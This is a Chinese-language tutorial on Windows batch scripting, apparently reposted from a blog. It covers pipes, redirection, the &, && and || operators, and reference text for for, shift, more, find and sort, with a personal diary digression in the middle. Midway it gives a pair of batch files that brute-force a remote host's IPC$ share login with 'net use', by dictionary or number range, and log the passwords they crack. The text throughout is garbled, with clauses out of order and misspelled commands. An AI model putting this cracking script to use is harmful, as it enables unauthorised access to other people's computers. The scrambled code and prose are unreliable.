這個指令在Linux下的用處非常廣泛,11.2more指令。可能很多朋友以前就沒有接觸過這個指令。也是管道指令之一。大家可以找一篇比較長的文章(a.txtDOS提示符下輸入如下兩個指令去比較一下差别:morea.txt和typea.txt利用more指令,可以達到逐屏或逐行顯示輸出的效果,而type指令隻能一次把輸出顯示完,最後的結果就是隻能看到末尾的局部。例十三裡,more指令的作用就是讓輸出的資訊逐屏或逐行顯示。

否已經能隐約感受到|指令的作用了沒錯, 看到這裡。作用,就是把前一指令的輸出當後一指令的輸入來用的例十三裡,前一指令的輸出,就是help指令執行後顯示的DOS所支援的所有非隐含指令,而這個結果剛好做了後一指令more輸入。是以例十三和下面的例十四是等效的

help>a.txt

mora.txt

用more指令檢查a.txt檔案後再删除a.txt檔案(例十三的所有操作是記憶體中進行的不生成檔案)可以看出, 這裡利用另一管道指令>生成了一個a.txt檔案作為中間環節。正确使用管道指令|可以帶來事半功倍的效果。

以及前面的例九再體會一遍:|指令的作用, 結合例十三和例十四。就是讓前一指令的輸出當做後一指令的輸入。

12>>>

說的通俗一點, 這兩個指令的效果從實質上來說都是一樣的都是輸出重定向指令。就是把前面指令的輸出寫入到一個檔案中。這兩個指令的唯一差別是>會清除掉原有檔案中的内容後把新的内容寫入原檔案,而>>隻會另起一行追加新的内容到原檔案中,而不會改動其中的原有内容。例十五:

echo@echooff>a.bat

echoechoThiisapipelincommandexample.>>a.bat

echoechoItisverieasy?>>a.bat

echoechoBelievyourself!>>a.bat

echopaus>>a.bat

echoexit>>a.bat

一行一個回車, 依次在DOS提示符下輸入以上各行指令。将在目前目錄下生成一個a.bat檔案,裡面的内容如下:

echoThiisapipelincommandexample.

echoItisverieasy?

echoBelievyourself!

得到多少資訊? 看到這裡。

而不需要專門的文本編輯工具;1可以直接在DOS提示符下利用echo指令的寫入功能編輯一個文本。

最後也會生成一個a.bat但裡面的内容就隻剩下最後一行exit是以>和>>一般都聯合起來用,2管道指令>和>>差別如上所述。如果這裡隻用>指令來完成上面操作。除非你重定向的輸出隻有一行,那麼就可以隻用>結合例一再仔細體會輸出重定向管道指令>和>>用法。

13<>&<&

但它一般不常用, 這三個指令也是管道指令。隻需要知道一下就ok當然如果想仔細研究的話,可以自己查一下資料。

從檔案中讀入指令輸入,<輸入重定向指令。而不是從鍵盤中讀入。

>&将一個句柄的輸出寫入到另一個句柄的輸入中。

從一個句柄讀取輸入并将其寫入到另一個句柄輸出中。<&剛好和>&相反。

後面批處理腳本的精妙應用中還将涉及到 關于這三個管道指令的舉例。

下面介紹組合指令:&&&||

顧名思義, 組合指令。就是可以把多個指令組合起來當一個指令來執行。這在批處置腳本裡是允許的而且用的非常廣泛。格式很簡單----既然現在已經成了一個檔案了那麼這多個指令就要用這些組合指令連接配接起來放在同一行----因為批處置認行不認指令數目。組合指令的作用,就如同給夫妻陪不是說一句是說,說十句也是說,不一次把好話都說了進去,效果可能會好些----當然得排除一種特殊情況:這些話是否有先後順序,有些話是否可以同時說。批處置腳本裡也一樣,有些時候某些指令是不能同時執行的後面給你說。

人去樓空的感覺越來越明顯, 剛剛又送走了一個同學。望着空蕩蕩的床鋪,平日裡喧鬧的宿舍就隻剩下我一個人了整個世界隻有那個平時令人非常讨厭的老鼠這時候才顯得可愛起來----隻有它會陪着我這不敢開燈的漆黑夜裡----一個連期末考試都應付不了失敗男人。失敗!感到快要呼吸不過來,這種失敗的壓力簡直令我窒息,簡直讓我手接收不到大腦的信号,簡直讓這篇未完成的教程夭折。但我能怪誰?

失敗;挂了科也倒罷了竟然一個人拖全班的後退, 忙碌了一學期要過年了卻挂了科。失敗中的失敗;更失敗的這最失落的時候,竟然找不到一個人可以傾訴;然而最失敗的突然發現自己竟然如此脆弱,如此耐不住寂寞。不過這倒也解開了心中疑惑很久的一個問題:為什麼明知道那段情是一個旋渦卻還心甘情願的往裡面跳----這就是青春,風一樣的年齡,火一樣不安的心。不再愛了不要再一個人的時候苦苦等待;不再愛了不要在給的囚籠裡憐憫的愛;不再愛了不要在他人的視線裡如此可笑;不再愛,不再愛。就算塌下來,也要一個人扛着,頭不能低腰不能彎,不能喘息不能傾訴,因為雖然失敗,但還是男人,男人就不能向困難低頭!

14&

并把這些指令按順序執行, 這可以說是最簡單的一個組合指令了作用是用來連接配接n個DOS指令。而不管是否有指令執行失敗。例十六:

copia.txtb.txt/y&dela.txt

就不多費口舌了唯一需要注意的一點是這裡&兩邊的指令是有執行順序的過去往後執行。 其實這句和movea.txtb.txt效果是一樣的隻不過前者是分了兩步來進行的後面還将涉及到具體使用哪種方法的問題)這個指令很簡單。

15&&

這裡介紹的幾個指令都是組合指令, 切記。是以他前後都必需都有其他指令(要不如何組合?這個指令也不例外,可以把它前後兩個指令組合起來當一個指令來用,與&指令不同之處在于,過去往後依次執行被它連接配接的幾個指令時會自動判斷是否有某個指令執行出錯,一旦發現出錯後将不繼續執行後面剩下的指令。這就為我自動化完成一些任務提供了友善。例十七:

dir檔案://1%/www/user.mdb&&copi檔案://1%/www/user.mdbe:\backup\www

如果遠端主機存在user.mdb則copi外地e:\backup\www如果不存在當然就不執行copi這句對搞網管的朋友是否有點用呢?呵呵。

其實它和下面這句的作用是一樣的

ifexist檔案://1%/www/user.mdbcopi檔案://1%/www/user.mdbe:\backup\www

是以不知道用哪個更好, 至于你喜歡用哪個就随便了沒辦法判斷dir和if兩個指令哪一個執行效率更高。呵呵。

不信就給你出道題:把C槽和D盤的檔案和檔案夾列出到a.txt檔案中。将如何來搞定這道題?有朋友說, 否還記得"有些指令是不能同時執行的"否相信這句話?當然得相信。這還不是很easi問題嗎?同時執行兩個dir然後把得到結果>a.txt裡就ok嘛,看例十八:

dirc:\&&dird:\>a.txt

看看是否能達到題目的要求!錯了這樣執行後a.txt裡隻有D盤的資訊!為什麼?就因為這裡&&指令和>指令不能同時出現一個句子裡(批處置把一行看成一個句子)組合指令&&優先級沒有管道指令>優先級高(自己總結的不妥的地方請指正)是以這句在執行時将本分成這兩部分:dirc:\和dird:\>a.txt而并不是如你想的這兩部分:dirc:\&&dird:\和>a.txt要使用組合指令&&達到題目的要求, 仔細研究一下這句執行後的結果。必需得這麼寫:

dirc:\>a.txt&&dird:\>>a.txt

依據優先級高低, 這樣。DOS将把這句話分成以下兩部分:dirc:\>a.txt和dird:\>>a.txt例十八中的幾句的差别比較特殊,值得好好研究體會一下。

當然這裡還可以利用&指令(自己想一下道理哦)

dirc:\>a.txt&dird:\>>a.txt

16||

但作用剛好和它相反:利用這種方法在執行多條指令時, 這個指令的用法和&&幾乎一樣。當遇到一個執行正确的指令就退出此指令組合,不再繼續執行下面的指令。題目:檢查目前目錄下是否有以s開頭的ex檔案,如果有則退出。例十九:

dirs*.ex||exit

自己試試就知道了嘛:如果存在那個ex檔案, 其實這個例子是有破綻的看出來了嗎?其實很簡單。就退出;如果不存在那個ex檔案,也退出!為什麼?因為如果不存在那個.ex檔案,則前一條指令dirs*.ex執行肯定是不成功的是以就繼續執行exit自然就退出了呵呵。那麼如何解決題目給出的問題呢?看例二十:

dirs*.ex||echoDidn'texistfiles*.ex&paus&exit

就能達到題目的要求, 這樣執行的結果。否存在s*.ex将出現兩種結果。這裡加暫停的意思,當然是讓你能看到echo輸出的内容,否則一閃而過的視窗,echo就白寫了

仔細研究它差別, 給出兩個更好研究優先級(同時也是更難了解)腳本。以便完全了解各種指令的優先級順序,對以後自己利用這些指令寫腳本有很大的好處----不會出錯!OK請看例二十一和例二十二:

例二十一:

dira.ttt/a&dira.txt||exit

例二十二:

dira.ttt/a&&dira.txt||exit

否則輕者頭大如鬥, 警告:患有心腦血管病的朋友請不要研究以上兩例。重者血管爆裂。任何人由于研究這兩個腳本的差別而造成的任何事故由自己或其合法監護人負責,與自己和本論壇無關。特此警告!

能了解就成天才了除非你以前就已經掌握!千萬别小看了這幾個鬼指令, 有關管道指令群組合指令就大概介紹到這裡了不知道聰明的否了解?呵呵。大棒槌是說,簡直就不是人學的東西!但我還是靜下心來研究了一番,最後得出的結論如上所述,已經一點不剩的交給你希望你好好收藏并消化吸收,當然有錯誤被你發現了或者不完整的地方被你看出來了請趕緊告訴我一聲!

但看起來很不過瘾。對for等指令介紹時就一個for/?>a.txt&starta.txt完事了當然這一點上我不能說人家什麼, 這幾個指令真的把我頭都搞大了網上有一篇流傳很廣的批處理教程:"簡明批處理教程"雖然說的比較全面。終究我連for/?都沒給出)而對上述管道指令群組合指令、以及這篇教程以後将講到用批處置操作系統資料庫等方面根本沒有介紹。之是以花整整一章來講管道指令群組合指令,因為他才是批處理的精華和靈魂,能否正确利用好這幾個指令,能否掌握批處理的前提條件。如forset等DOS指令的問題,可以從DOS角度動身專門有針對性的學習,但有關這幾個指令的問題,卻是不容易精通掌握的----之間的關系太複雜了

将下列代碼存為bat檔案

1如果用字典破解:pass.bat字典檔案路徑及名稱 主機 使用者名

2如果用數字破解:pass.bat起始數 步長 結束數 主機 使用者名

存放于c:\pass.txt檔案裡面。 密碼破解進去之後。

将下列代碼存為pass.bat檔案

echo------------------------------------------------------------------->>c:\pass.txt

dat/t>>c:\pass.txt

tim/t>>c:\pass.txt

echo破解結果:>>c:\pass.txt

if"%6"=="1"goto大棒槌是說2

:大棒槌是說1

start"正在破解"/mincmd/cfor/f%%iin%1docalltest.bat%2"%%i"%3

gotoquit

:大棒槌是說2

%2,start"正在破解"/mincmd/cfor/l%%iin%1.%3docalltest.bat%4"%%i"%5

:quit

将下列代碼存為test.bat

netus\\%1\ipc$%2/user:"%3"

gotoanswer%ERRORLEVEL%

netus勝利傳回0失敗傳回rem%ERRORLEVEL%表示取前一指令執行傳回結果。2

:answer0

echo遠端主機:"%1">>c:\pass.txt

echo用 戶:"%3">>c:\pass.txt

echo密 碼:%2>>c:\pass.txt

netus\\%1\ipc$/delet

:answer2

For

對一組檔案中的每個檔案運作指定的指令。

可以在批處置順序中或直接從指令提示符使用 for指令。

請使用以下文法: 要在批處置順序中使用 for指令。

for%%variablinsetdocommand[command-parameters]

要在指令提示符下使用 for請使用以下文法:

for%variablinsetdocommand[command-parameters]

參數

%%variabl或 %variable

代表可替換的參數。for指令使用在set中指定的每個文本字元串替換 %%variabl或 %variabl直到此指令(commandparamet中指定)處置所有的檔案為止。使用 %%variabl批處置順序中執行 for指令。使用 %variabl通過指令提示符執行 for指令。變量名區分大小寫。

set

指定要用指定的指令處置的一個或多個檔案或文本字元串。需要括号。

command

指定要在指定的set所包含的每個檔案上執行的指令。

command-parameters

指定要用于指定指令(如果指定的指令要使用任何參數或開關)任何參數或開關。

如果啟用了指令擴充(Window2000中的預設設定)将支援 for指令的其他形式。

For指令的其他形式

将支援如下 for指令的其他格式: 如果啟用了指令擴充。

隻限于目錄

for/D[%%|%]variablinsetdocommand[command-parameters]

而不是檔案名。 如果 set包括通配符(*和 ?則指定與目錄名比對。

遞歸

for/R[[drive:]path][%%|%]variablinsetdocommand[command-parameters]

則假定為目前目錄。如果 set隻是一個句号 .字元, 進入根目錄樹[drive:]path樹的每個目錄中執行 for語句。如果在/R後沒有指定目錄。則隻列舉目錄樹。

疊代

for/L[%%|%]variablinstartstependdocommand[command-parameters]

1, 集合是一系列按步長量劃分的從頭到尾的數字。這樣。1,5将生成序列 12345而 5,-1,1将生成序列 54321

檔案解析

for/F["options"][%%|%]variablinfilenamesetdocommand[command-parameters]

for/F["options"][%%|%]variablin"literstring"docommand[command-parameters]

for/F["options"][%%|%]variablin'command'docommand[command-parameters]

如果呈現 usebackq選項:或者。

for/F["options"][%%|%]variablin'literstring'docommand[command-parameters]

for/F["options"][%%|%]variablin`command`docommand[command-parameters]

每個檔案都會被打開、讀取和處理。filenameset參數指定一個或多個檔案名稱。繼續到filenameset中的下一個檔案之前。

/F傳送每個檔案每一行的第一個空白分隔符号。 過程由讀取檔案、分成獨立的文本行及然後将每行解析成零個或更多個令牌組成。然後使用設定為找到一個或多個令牌字元串的變量值(或多個值)集合調用 for循環體。預設情況下。

包括一個或多個關鍵字以指定不同的解析選項。跳過空行。通過指定可選的"options"參數可以覆寫預設的解析行為。這是一個引用字元串。

關鍵字是

關鍵字 說明

eol=c指定行尾注釋字元(隻一個字元)

skip=n指定在檔案的開頭跳過的行數。

delims=xxx指定定界符集合。這将替換空格和制表符的預設分隔符集。

指定從 mthnth令牌。如tokens=x,y,m-n指定将令牌從每行傳遞到每個反複的正文。這将導緻配置設定其他變量名。m-n格式是一個範圍。

則将配置設定附加的變量,果在令牌 =字元串中最後一個字元是星号。并在解析最後一個令牌後在行上接收剩餘的文本。

單引号字元串是文字字元串指令,usebackq指定将右引号字元串作為指令執行。您可以使用雙引号包括 filenameset中的檔案名。

變量替換

已經增強了for變量引用的替換修改順序。現在可以使用下列可選的文法(對于任何變量 I此外。

變量(使用修改順序)說明

%~I展開删除了周圍的任何引号 "%I

%~fI将 %I展開到完全合格的路徑名

%~dI隻将 %I展開到驅動器号

%~pI隻将 %I展開到路徑

%~nI隻将 %I展開到檔案名

%~xI隻将 %I展開到檔案擴充名

%~sI展開路徑以隻包括短名稱

%~aI将 %I展開到檔案的檔案屬性

%~tI将 %I展開到檔案的日期/時間

%~zI将 %I展開到檔案大小

或搜尋後沒有找到檔案,則此修改順序将擴充為空字元串。%~$PA TH:I搜尋 PA TH環境變量所列出的目錄,并将 %I展開開到第一個找到結果的全部合格名稱。如果沒有定義環境變量名。

修改順序可以合并以獲得複雜的結果:

變量(使用合并的修改順序)說明

%~dpI隻将 %I展開到驅動器号和路徑

%~nxI隻将 %I展開到檔案名和擴充名

%~fsI将 %I展開到隻包括短名稱的完整路徑名

%~dp$PA TH:IPA TH環境變量所列出的目錄中搜尋 %I并展開到第一個找到結果的驅動器号和路徑

%~ftzaI将 %I擴充到與 dir相似的輸出行

注意

%I和 PA TH可被其他有效值替換。通過有效的for變量名終止 %~文法。上述範例中。

并且防止與不區分大小寫的修改順序混淆。使用大寫變量名(例如 %I可以使代碼更具可讀性。

Shift

更改批處置檔案中可替換參數的位置。

shift

shift指令支援 /n開關,啟用指令擴充(Window2000中的預設設定)後。該開關通知指令在第 n個參數處開始更改,n可以是從 08任何一個值。例如,

SHIFT/2

而 %0和 %1堅持不變。将 %3改為 %2将 %4改為 %3等等。

篩選器指令

篩選器指令可以協助您排序、檢查和選擇局部指令輸出結果。

通過篩選器指令傳送資訊

篩選器指令可以劃分、重排以及提取通過的局部資訊操作。Window2000有三個篩選器指令:

more指令每次顯示一屏檔案内容或指令輸出。

find指令在檔案和指令輸出中搜尋指定字元。

sort指令按字母順序排列檔案和指令輸出。

請使用小于符号 <如果要篩選器指令從其他指令獲得輸入,要将輸入從檔案發送到篩選器指令。請使用管道 |

使用 more指令來控制螢幕顯示

下面的more指令每次顯示一屏 List.txt檔案的内容:more指令每次一屏地顯示檔案的内容或指令輸出。例如。

more<list.txt

會出現字"More"要繼續顯示下一屏,資訊顯示一屏後。請按鍵盤上任意鍵。要停止指令且不檢查詳細資訊,請按 CPL+C鍵。

more将十分有用。例如,如果使用發生多屏輸出的指令。假設定要檢視硬碟的目錄樹。如果 Window2000不能将目錄在一屏内全部顯示進去,請使用帶管道号 |和 more指令的tree指令,如下例所示:

treec:\|more

後跟詞"More"Window2000暫停,tre指令的第一屏輸出被顯示。直到使用者按鍵盤上的任意鍵為止(PA USE鍵除外)

使用 find指令搜尋文本

find指令在一個或多個檔案中搜尋指定文本。Window2000顯示每個包括該文本的行。find指令可以用作篩選器指令或者規範

請單擊"相關主題"清單中的findWindow2000指令。有關将 find用作規範的Window2000指令的資訊。

請包括小于符号 <和搜尋的檔案名。當輸入檔案名時,要将 find當作篩選器指令使用。請記住搜尋要區分大小寫。例如,下面的指令查找檔案 Trade.txt中所有的"PacifRim"字元串:

find"PacifRim"<trade.txt

請使用大于号 >和要存儲輸出的檔案名。例如,要儲存 find指令的輸出而不是顯示輸出。下面的指令查找檔案 Trade.txt中所有的

并将結果儲存在Nwtrade.txt檔案中:"PacifRim"字元串。

find"PacifRim"<trade.txt>nwtrade.txt

對文本檔案排序

可以使用以下指令對 List.txt檔案的内容進行排序,sort指令按字母順序排列文本檔案或指令的輸出。例如。并在螢幕上顯示結果:

sort<list.txt

sort指令對 List.txt檔案的行進行排序并顯示結果,此範例中。但不更改檔案。要儲存 sort指令的輸出而不是顯示輸出,請在指令中包括大于号 >和檔案名。例如,可以使用以下指令對 List.txt檔案的行按字母順序排序,并将結果存到Alphlist.txt檔案中:

sort<list.txt>alphlist.txt

請鍵入後面帶有管道 |和 sort指令的指令。例如,要排序指令的輸出。下面的指令對 find指令的輸出結果進行排序:

find"Jones"maillst.txt|sort

Window2000按字母順序列出在其中呈現"Jones"行。鍵入該指令時。

帶重定向符的合并指令

可以使用以下指令存儲包括"LOG"字元串的檔案名可以将篩選器指令、其他指令和檔案名合并以生成自定義指令。例如。:

dir/b|find"LOG">loglist.txt

A.logLogdat.svd和 Mylog.batWindow2000通過 find過濾器指令發送 dir指令的輸出并将包括字元串"Log"檔案名存儲在Loglist.txt檔案中。将結果存儲為檔案名清單(如。

請使用管道 |分隔篩選器。例如,要在相同指令中使用多個篩選器。下面的指令搜尋 C槽上的每個目錄以查找包含"Log"字元串的檔案名,并且每次顯示一屏:

dirc:\/s/b|find"LOG"|more

因為使用管道 |Window2000通過 find指令發送 dir指令的輸出結果。find指令隻選擇包括字元串"Log"檔案名。more指令每次一屏地顯示 find指令選擇的檔案名。

More

或者使用它控制其他指令的輸出,每次顯示一個輸出螢幕。該指令通常用于檢查長檔案。可以單獨使用此指令。例如 type指令。當顯示填充可用的檢查區域時将出現 more提示,使用者可以輸入許多指令來控制檢查檔案其餘局部的方式。

commandname|more[/c][/p][/s][/tn][+n]

more[[/c][/p][/s][/tn][+n]]<[drive:][path]filename

mor[/c][/p][/s][/tn][+n][files]

[drive:][path]filename

指定要顯示的檔案。

commandname

指定将顯示其輸出的指令。

/c

顯示頁面前清除螢幕。

/p

擴充換頁符。

/s

将多個空白行更改為一個空白行。

/tn

将制表位更改為 n個空格

+n

顯示由 n指定的行開始的第一個檔案。

files

指定要顯示的檔案清單。用空格分隔檔案名。

More子指令

以下指令在more提示 --More--下接受。

關鍵字 操作

space顯示下一頁。

ENTER顯示下一行。

F顯示下一個檔案。

q退出。

?顯示可用指令。

=顯示行号。

Pn顯示以下 n行。

Sn跳過下面 n行。

Find

一個檔案或多個檔案中搜尋指定的文本字元串。

find将顯示出包括指定字元串的所有行。當搜尋到指定的檔案後。

find[/v][/c][/n]"string"[[drive:][path]filename[...]]

/v

顯示未包括指定字元串的所有行。

隻顯示包括指定字元串的行數。

/n

将檔案行号置于每行開頭。

/I

指定搜尋不區分大小寫。

"string"

指定要搜尋的字元組。必需将 string文本包括在引号中。

指定要在其中搜尋指定字元串的檔案的位置和名稱。

Sort

讀取輸入、排序資料并将結果寫到螢幕、檔案和其他裝置上。

sort[/r][/+n][/mkilobytes][/llocale][/reccharacters][[drive1:][path1]filename1][/t[drive2:][path2]][/o[drive3:]

[path3]filename3]

[command|]sort[/r][/+n][/mkilobytes][/llocale][/reccharacters][[drive1:][path1]filename1][/t[drive2:]

[path2]][/o[drive3:][path3]filename3]

/r

即從 ZA排序,颠倒排序順序。然後從 90排序。

/+n

/+3表示每次比拟在每行的第三個字元開始。少于 n個字元的行在其他行之前排序。預設情況下,指定字元位置号 nsort此處開始每次比拟。例如。比拟在每行的第一個字元開始。

/mkilobytes

按千位元組 KB計。使用的記憶體最小值總是160KB如果指定了記憶體大小,指定用于排序的主記憶體數量。則無論有多少主記憶體可用,指定的确切數量(但至少 160KB記憶體将用于排序。

沒有指定大小時,如果輸入輸出均為檔案。預設最大記憶體大小為可用主記憶體的90%,否則為主記憶體的45%。預設設定通常會産生最佳的性能。

/llocale

預設區域設定唯一的備用選項就是"C"區域設定,替代由系統預設區域設定定義的字元排序順序;即在裝置 Window2000時選擇的語言和"國家(地區)"目前。該區域設定比自然語言排序快,根據二進制編碼對字元排序。

/reccharacters

指定記錄或輸入檔案的行中的最多字元數(預設值為 4096最大值為 65535

[drive1:][path1]filename1

則對規範輸入排序。指定輸入檔案比将同一檔案作為規範輸入重定向速度快。指定要排序的檔案。如果沒有指定檔案名。

/t[drive2:][path2]

防止資料不能裝入主記憶體。預設為使用系統臨時目錄。指定儲存 sort指令工作存儲的目錄路徑。

/o[drive3:][path3]filename3

轉載請注明,本文出自:http://korey.blog.51cto.com/

繼續閱讀